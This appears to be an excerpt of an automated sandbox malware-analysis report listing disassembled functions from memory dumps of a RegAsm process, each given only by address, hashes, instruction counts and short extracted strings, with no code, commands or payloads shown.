Instruction ID: 6f0c8168397e5d2176ffb4eda58d6cff3849224d591ba6038b359a5a8d476f17
Opcode Fuzzy Hash: 60c26b6c320729105c52798381745b0c06cebcbe59026ffd0953a4e1eae3c3d0
Instruction Fuzzy Hash: 0DE0E5302007518FC710EB2DE408BAE7BE9EFC1314F04053DD14687751CBA9AC0AC791

Function 06A39248 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e676bc187efae4adec59e923fbb0904a826cdc9924315f1072bc589c8ab1e9d
Instruction ID: c6befe8966f353eb5e69f49d6265f3196804585cbab635a983ab5d09296d0adf
Opcode Fuzzy Hash: 7e676bc187efae4adec59e923fbb0904a826cdc9924315f1072bc589c8ab1e9d
Instruction Fuzzy Hash: 56F0C074E00308AFC755EFA4D54579DB7B5EB44301F1081A9A91467350D7789D84CB81

Function 06A3E4BF Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3da10fdd8ab0a34d2c70aab96423474c63b7ad1851f47a4a5262a2f889da774
Instruction ID: 52c0a691a8dcb7f02be55cbddc91f01bf39864c03f20d68d334ef7946a051a1c
Opcode Fuzzy Hash: b3da10fdd8ab0a34d2c70aab96423474c63b7ad1851f47a4a5262a2f889da774
Instruction Fuzzy Hash: E3E0DFB2A44204EFCB02CF64E8409AD7BB1EB82201F2042EBD40CE7351D6780F04C792

Function 06A3EBB8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cbdf811eede0a92ed85db2fc5409179c4d631a6815530756082bf012897a0d
Instruction ID: 78cb3882d9bd5e05961f48f8a2e076b3778228c14017a1ab7aa2cbef34bffc65
Opcode Fuzzy Hash: 43cbdf811eede0a92ed85db2fc5409179c4d631a6815530756082bf012897a0d
Instruction Fuzzy Hash: BBE0123E2182449FC7029B55E8408E53F75FF8962034480C6F5408F572C6219D25DBB1

Function 06A3E540 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda2b093134808f463bdbf3c5c87b49b8cd80f94281f646b1aaf59dcb127d5c4
Instruction ID: f14fe510336ba5d4868ad814b3f97b4c913ee865d9d519258596092c9267ebe1
Opcode Fuzzy Hash: fda2b093134808f463bdbf3c5c87b49b8cd80f94281f646b1aaf59dcb127d5c4
Instruction Fuzzy Hash: 05E0D1711083434BD715EB24F8918C8BF50EB4F244705455EC444672A2CEDC5D49D785

Function 06A3AF50 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e641510b002fe9701869a447468eee6cc38c0486e29249226106516df6d7a3
Instruction ID: 9b5eaab239284db3bc21a1e6eb5630be18bccec524c5fb066e7202efedfe245d
Opcode Fuzzy Hash: e4e641510b002fe9701869a447468eee6cc38c0486e29249226106516df6d7a3
Instruction Fuzzy Hash: B7D02B7130002857C6252328B4089FE77AEEAC4361B01403EE10AC7390CF2C2C0583D6

Function 06A3B7E0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60bff803c23b95a90f18b919040985c1dda94516d8edd30f1619fa23f6897961
Instruction ID: fe2ce9c20a8f6373091a09f6f35b3c92c7c82b9656663f50aefb51cb16bcaf25
Opcode Fuzzy Hash: 60bff803c23b95a90f18b919040985c1dda94516d8edd30f1619fa23f6897961
Instruction Fuzzy Hash: 95E07E75D0020CEFCF41DFA4E9458DDBBB9EB48200F1082AAD809A3200EA316B5A9B80

Function 06A3E4D0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0495647c8fe70dd79332a7515b7d75de6b0736d21e8045a955b7be83cca214
Instruction ID: 1c55b96f8d8014d55fd96b023f6b60948d2aaddef5def11b78921d3ff1ca4703
Opcode Fuzzy Hash: ea0495647c8fe70dd79332a7515b7d75de6b0736d21e8045a955b7be83cca214
Instruction Fuzzy Hash: 46D017B1A00209FF8B04EFA8E90095DB7B9EB85215B1082AD940CE3301EA756E049B90

Function 06A3FBAA Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e9b93a1461ee06a2cda4c51fc60b4d1dd54dd04edd85ef3eb91bd2b409baf8
Instruction ID: c129e75083708a935c1fbc042e83781c18bc05ef1e047c41c1e212d336d93aa3
Opcode Fuzzy Hash: b8e9b93a1461ee06a2cda4c51fc60b4d1dd54dd04edd85ef3eb91bd2b409baf8
Instruction Fuzzy Hash: 81C012367240208B8344B76CB0000BCAAE3E2C82E3385423FE60EC3388CD708C4A8790

Function 06A33721 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a599d0c5d4a4227ff7c3964f99195680771fb9b319afea3c6f59152b0063ed2
Instruction ID: 32313435d5a8df076db4865d5abbf9e42877b62f471848e729dd4843bcbdcd08
Opcode Fuzzy Hash: 1a599d0c5d4a4227ff7c3964f99195680771fb9b319afea3c6f59152b0063ed2
Instruction Fuzzy Hash: 9CC08C7404E3807FD71346601C01EB33E36DB92B00F864282B3C28B0A385620D29D7B3

Non-executed Functions

Function 06CF3E50 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CF4001
$]q, xrefs: 06CF3F43

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: e86e803ef0499797b4723602c03b111562883ec3a02155fca49eb09ac900d01e
Instruction ID: 0505b8088135b9112d6308f79821bb69991f07c81bd50e8673a824384e931597
Opcode Fuzzy Hash: e86e803ef0499797b4723602c03b111562883ec3a02155fca49eb09ac900d01e
Instruction Fuzzy Hash: 9661A074E00208DFDB44DFA9C490A9DBBF2FF89300F65806AD515BB265DB35A946CF90

Function 08E703B8 Relevance: 1.8, Strings: 1, Instructions: 536COMMON

Download Yara Rule

Strings

0o@p, xrefs: 08E707FF

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID: 0o@p
API String ID: 0-848860569
Opcode ID: ac9968bdb2b9d30152ee96109a25bb41d3791b41707ae5bd2c1a901a2840dd28
Instruction ID: b578980d85f29e895c39fb5c65dc0460e4a703947f9df6f0919dfb59dcbc1642
Opcode Fuzzy Hash: ac9968bdb2b9d30152ee96109a25bb41d3791b41707ae5bd2c1a901a2840dd28
Instruction Fuzzy Hash: CD42AE74A012298FDB65DF65C894BDDBBB2BF49301F1081EAD50AAB260DB349E85CF50

Function 06CF6E90 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V|i, xrefs: 06CF70DB

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: \V|i
API String ID: 0-2135609858
Opcode ID: 27e4d34590b35c8de503d2b7b691fb55f84031ee8d428e10c0b0924f2cfc7f86
Instruction ID: 1d5dd4761dffac3d65f5c809e5b167a5a7733140a7ae353a634c1d93eb2b9c0c
Opcode Fuzzy Hash: 27e4d34590b35c8de503d2b7b691fb55f84031ee8d428e10c0b0924f2cfc7f86
Instruction Fuzzy Hash: 2191AD70E10209DFDF90CFA9D9917EEBBF2AF88304F148129E518E7294EB749945CB91

Function 06A36FE8 Relevance: .8, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a79bb0aeaf896de78fad816eec620675342d66224e3066903e7efc61fd21e18
Instruction ID: 549970bf89c3060a6580c460df8cf64141bd47fc02edc85e4cf2c86731f1042e
Opcode Fuzzy Hash: 0a79bb0aeaf896de78fad816eec620675342d66224e3066903e7efc61fd21e18
Instruction Fuzzy Hash: BE6253B06002019FD749EF59D45472ABADAEF85308F24C56DC10E8F396CBBAD90BCB95

Function 06A36FF8 Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a7bb60345f0e55be0ebe8c1d0791502089104c639d228182cf0f387c15bf9d4
Instruction ID: 4d03b271f622db8e1ad6c06cbce95d96460df001445dd589a02e3125a424052c
Opcode Fuzzy Hash: 9a7bb60345f0e55be0ebe8c1d0791502089104c639d228182cf0f387c15bf9d4
Instruction Fuzzy Hash: 236243B06002019FD749EF59D45472ABADAEF85308F24C56DC10E8F396CBBAD90BCB95

Function 08E713FC Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53eb2c671998b145d2277245fc9b692159f88f781dd7dddc7c90a35413e89c1
Instruction ID: a8346edcd6dc1a31867c1604c1fba95bfc8874dd41696654cdac2abba73ef73c
Opcode Fuzzy Hash: a53eb2c671998b145d2277245fc9b692159f88f781dd7dddc7c90a35413e89c1
Instruction Fuzzy Hash: 91225AB4E00229CFDB65DF69C990B9DBBB2BB49301F1081EAD509AB354DB319E85CF50

Function 08E797C8 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1852919afeff2ee2be12822546efe9b406334a88365efcd1ad81d67534cfd32
Instruction ID: 66e1b1954edf51819fd13b3d5c58197efc71962e23cb46c8e4e29bb303cef5ce
Opcode Fuzzy Hash: a1852919afeff2ee2be12822546efe9b406334a88365efcd1ad81d67534cfd32
Instruction Fuzzy Hash: C802F074A01229CFDBA4DF64C950B9EBBB2BF89300F1084E9C50AA7355DB359E85CF51

Function 08E77E90 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f74a4d5309903a3770c14dff51ff55ca0499047b6028ac1355a0062f09d4e5
Instruction ID: 7b3d9c3b38474c437a59df13235a1ed4d308c29f8a1afe8c0b49cf579a8afa71
Opcode Fuzzy Hash: 71f74a4d5309903a3770c14dff51ff55ca0499047b6028ac1355a0062f09d4e5
Instruction Fuzzy Hash: CBD1EA31C2075ADACB11EFA4D950A9DF7B5FF95300F208BAAD10977610EB746AC9CB81

Function 0155DC74 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0e677b2f38b96188fad635da5eb9c27afd68acf636df9908a8ccd8c5872559e
Instruction ID: 843200cd42d53e229fc9c54232240380e660a956aa37f2ac17d4585dcfe958b0
Opcode Fuzzy Hash: b0e677b2f38b96188fad635da5eb9c27afd68acf636df9908a8ccd8c5872559e
Instruction Fuzzy Hash: F1A14C32A1021A8FCF05DFB9C85459EBBB2FF84300B15856BED06AF265DB71E945CB80

Function 08E77EA0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7652ed8bde30f2cb5aef1f8b24a1a80c1aab48073b68026453e39e8dd2f9aece
Instruction ID: 60f3d0154dc8266089c903b58488102ddb80af514f8dc938928bd65b5462b627
Opcode Fuzzy Hash: 7652ed8bde30f2cb5aef1f8b24a1a80c1aab48073b68026453e39e8dd2f9aece
Instruction Fuzzy Hash: F8D1F831C2075A9ACB11EFA4D950A9DF7B5FF95300F208BAAD10977610EB746AC9CF81

Function 06CF4122 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6befec7cdb117e6ddc962389142853c1bd7032988ca0fb0bfb622dbc4f94e60f
Instruction ID: 92eb27260295b3b7b62aa15129073d06c82fc7228747ff245bb2297aabe0bc5d
Opcode Fuzzy Hash: 6befec7cdb117e6ddc962389142853c1bd7032988ca0fb0bfb622dbc4f94e60f
Instruction Fuzzy Hash: 5B019E35E05248DFCB85CF94E8419AEBBB4EF46312F118186E615AB262C631DD10DF90

Function 06CFCC93 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1b465d66bbac5cb88e3ff008063152888a9dbf395ae48bf86ac596c9e89bea
Instruction ID: cfdc535d81aa0fd90cea89d9bf03d23abb90b662caecdcbcc665217c0047ee7a
Opcode Fuzzy Hash: 0d1b465d66bbac5cb88e3ff008063152888a9dbf395ae48bf86ac596c9e89bea
Instruction Fuzzy Hash: 72E01270E6A10EDEEB94DF62C0557FFF674BB45204F205445C50673280DB7486458FA7

Function 06CFF81C Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7916334ab9ce16e30352acc19d89bc5336549c82b1fff77a042e5b569a515691
Instruction ID: 21dacb0646cae2a8baff65029ca3a6f40064696165445f2ca526e8bdb855a9c0
Opcode Fuzzy Hash: 7916334ab9ce16e30352acc19d89bc5336549c82b1fff77a042e5b569a515691
Instruction Fuzzy Hash: 60F0A571C54219CEEBA49F52D8487BDBAB0EB0B305F10516AD11673190CBB44684CFC4

Function 06A3E587 Relevance: 46.6, Strings: 37, Instructions: 390COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3E638
D:j, xrefs: 06A3E65D
D:j, xrefs: 06A3E5C9
D:j, xrefs: 06A3EAD9
D:j, xrefs: 06A3EA30
D:j, xrefs: 06A3EA83
D:j, xrefs: 06A3E5EE
D:j, xrefs: 06A3E6F1
D:j, xrefs: 06A3E853
D:j, xrefs: 06A3E940
D:j, xrefs: 06A3E6A7
D:j, xrefs: 06A3E6CC
D:j, xrefs: 06A3EB04
D:j, xrefs: 06A3E82B
D:j, xrefs: 06A3E9B8
D:j, xrefs: 06A3E803
D:j, xrefs: 06A3E763
D:j, xrefs: 06A3E87B
D:j, xrefs: 06A3EA58
D:j, xrefs: 06A3E5A4
D:j, xrefs: 06A3E9E0
D:j, xrefs: 06A3E682
D:j, xrefs: 06A3E78B
D:j, xrefs: 06A3EAAE
D:j, xrefs: 06A3E613
D:j, xrefs: 06A3E918
D:j, xrefs: 06A3E990
D:j, xrefs: 06A3E7DB
D:j, xrefs: 06A3E8F0
D:j, xrefs: 06A3E716
D:j, xrefs: 06A3E73B
D:j, xrefs: 06A3E7B3
D:j, xrefs: 06A3E968
D:j, xrefs: 06A3E8C8
D:j, xrefs: 06A3EB2F
D:j, xrefs: 06A3E8A3
D:j, xrefs: 06A3EA08

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-1183586631
Opcode ID: bdd9a18a45b340482b7e8eaf4ebc19833c62636f0ddc0d5b2e4fd7b3be1376fe
Instruction ID: 9aa54cf80fbaa7c244aeda2696b4cdee1e6f24aecffc13c5c5f2989bb262f1c1
Opcode Fuzzy Hash: bdd9a18a45b340482b7e8eaf4ebc19833c62636f0ddc0d5b2e4fd7b3be1376fe
Instruction Fuzzy Hash: 75D19F313207126BC209AAA1AC91E7DF65BFB8A300B54483CE3054F7A5DF796C1EC396

Function 06A3E598 Relevance: 46.6, Strings: 37, Instructions: 383COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3E638
D:j, xrefs: 06A3E65D
D:j, xrefs: 06A3E5C9
D:j, xrefs: 06A3EAD9
D:j, xrefs: 06A3EA30
D:j, xrefs: 06A3EA83
D:j, xrefs: 06A3E5EE
D:j, xrefs: 06A3E6F1
D:j, xrefs: 06A3E853
D:j, xrefs: 06A3E940
D:j, xrefs: 06A3E6A7
D:j, xrefs: 06A3E6CC
D:j, xrefs: 06A3EB04
D:j, xrefs: 06A3E82B
D:j, xrefs: 06A3E9B8
D:j, xrefs: 06A3E803
D:j, xrefs: 06A3E763
D:j, xrefs: 06A3E87B
D:j, xrefs: 06A3EA58
D:j, xrefs: 06A3E5A4
D:j, xrefs: 06A3E9E0
D:j, xrefs: 06A3E682
D:j, xrefs: 06A3E78B
D:j, xrefs: 06A3EAAE
D:j, xrefs: 06A3E613
D:j, xrefs: 06A3E918
D:j, xrefs: 06A3E990
D:j, xrefs: 06A3E7DB
D:j, xrefs: 06A3E8F0
D:j, xrefs: 06A3E716
D:j, xrefs: 06A3E73B
D:j, xrefs: 06A3E7B3
D:j, xrefs: 06A3E968
D:j, xrefs: 06A3E8C8
D:j, xrefs: 06A3EB2F
D:j, xrefs: 06A3E8A3
D:j, xrefs: 06A3EA08

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-1183586631
Opcode ID: 8e69d17641345fda3567756e70778955d14538078df03c11ddbabfe8d339d6e4
Instruction ID: 53c3e15756b7d791472ee223cc652fca7041d182fcc459ac536b01c46659f734
Opcode Fuzzy Hash: 8e69d17641345fda3567756e70778955d14538078df03c11ddbabfe8d339d6e4
Instruction Fuzzy Hash: C0D19F313207126BC209AAA1AC91E7DF657FB8A300B54483CE3054F7A5DF796C1AC396

Function 06A3CF57 Relevance: 16.4, Strings: 13, Instructions: 151COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D052
D:j, xrefs: 06A3CFBE
D:j, xrefs: 06A3CF99
D:j, xrefs: 06A3D0C1
D:j, xrefs: 06A3D008
D:j, xrefs: 06A3CF74
D:j, xrefs: 06A3D0E6
D:j, xrefs: 06A3D130
D:j, xrefs: 06A3D09C
D:j, xrefs: 06A3D02D
D:j, xrefs: 06A3D10B
D:j, xrefs: 06A3D077
D:j, xrefs: 06A3CFE3

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-2763555283
Opcode ID: 51190f53b359a35eb7fc02c1afaec19319bdb37fff16acdf2086872f91c56b39
Instruction ID: 88c3d337555965d0ab0529833b0eedfbd5701fbdccdba57edd53423a615f58a2
Opcode Fuzzy Hash: 51190f53b359a35eb7fc02c1afaec19319bdb37fff16acdf2086872f91c56b39
Instruction Fuzzy Hash: CC41A5313107126BD209AAA5A841A3DF657FB8A300B90493DD3094F6A5CF7E6D0DC39A

Function 06A3CF68 Relevance: 16.4, Strings: 13, Instructions: 143COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D052
D:j, xrefs: 06A3CFBE
D:j, xrefs: 06A3CF99
D:j, xrefs: 06A3D0C1
D:j, xrefs: 06A3D008
D:j, xrefs: 06A3CF74
D:j, xrefs: 06A3D0E6
D:j, xrefs: 06A3D130
D:j, xrefs: 06A3D09C
D:j, xrefs: 06A3D02D
D:j, xrefs: 06A3D10B
D:j, xrefs: 06A3D077
D:j, xrefs: 06A3CFE3

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-2763555283
Opcode ID: 402ca8815bc55252ea6a4ac460232958c12ec88472b3683e45aa330f75c69c42
Instruction ID: 8df3d72a0c3bc077361d3aa0470d461b5c6a3dbd281407ebba47686df9836ab3
Opcode Fuzzy Hash: 402ca8815bc55252ea6a4ac460232958c12ec88472b3683e45aa330f75c69c42
Instruction Fuzzy Hash: 6941B5313507122BD609AAA5A841E3DF65BFB8A300F90493DD3094F6A5CF7E6D09C39A

Function 06A3D1A9 Relevance: 10.1, Strings: 8, Instructions: 105COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D1E9
D:j, xrefs: 06A3D20E
D:j, xrefs: 06A3D1C4
D:j, xrefs: 06A3D27D
D:j, xrefs: 06A3D2C7
D:j, xrefs: 06A3D233
D:j, xrefs: 06A3D258
D:j, xrefs: 06A3D2A2

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-1199883655
Opcode ID: 2704a01b767129ae4f6638869efb8469d39ae54564d718e56702da5f801bd774
Instruction ID: 36b124fdd2173237b8d0a5deabcd4fd0ccc7f32a4eaf76b5c091fb4b5eb6a916
Opcode Fuzzy Hash: 2704a01b767129ae4f6638869efb8469d39ae54564d718e56702da5f801bd774
Instruction Fuzzy Hash: 2C31C8313503122FD6099AA5A840E7DFA5BFF8A300B90493DE3098F6A5CF7D6D09C396

Function 06A3D1B8 Relevance: 10.1, Strings: 8, Instructions: 93COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D1E9
D:j, xrefs: 06A3D20E
D:j, xrefs: 06A3D1C4
D:j, xrefs: 06A3D27D
D:j, xrefs: 06A3D2C7
D:j, xrefs: 06A3D233
D:j, xrefs: 06A3D258
D:j, xrefs: 06A3D2A2

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-1199883655
Opcode ID: 28ae008337860d87159d4e6e7e846942d86931872eade53cbc4ae9201ee34ff1
Instruction ID: a1b76f85034b76fcd7c0c6229a5604ad3a9a1230b039aa3df4ace239abd031a9
Opcode Fuzzy Hash: 28ae008337860d87159d4e6e7e846942d86931872eade53cbc4ae9201ee34ff1
Instruction Fuzzy Hash: 3A21B6313503126BC609AAA5A840E3DF65BFF8A300F90493DE3094F6A5CF7D6C09C39A

Function 06A3CC40 Relevance: 8.8, Strings: 7, Instructions: 89COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3CD29
D:j, xrefs: 06A3CD00
D:j, xrefs: 06A3CCD7
D:j, xrefs: 06A3CC5C
D:j, xrefs: 06A3CCAE
D:j, xrefs: 06A3CC85
D:j, xrefs: 06A3CD52

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-3704558559
Opcode ID: 34d44d649b0333a63fcc1d4e22ebdd10de0925f65ffde57e404039f73726a3de
Instruction ID: 28c86c2ab0d3f9599aaa5a96ca58ff1f7763e231dedee75cb3af86cf274faa8c
Opcode Fuzzy Hash: 34d44d649b0333a63fcc1d4e22ebdd10de0925f65ffde57e404039f73726a3de
Instruction Fuzzy Hash: CB31D4313016626FCB096BA1AD44D6D7B67FB9A300B54413DE30A8F6B4CEB85D4EC782

Function 06A3CC50 Relevance: 8.8, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3CD29
D:j, xrefs: 06A3CD00
D:j, xrefs: 06A3CCD7
D:j, xrefs: 06A3CC5C
D:j, xrefs: 06A3CCAE
D:j, xrefs: 06A3CC85
D:j, xrefs: 06A3CD52

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
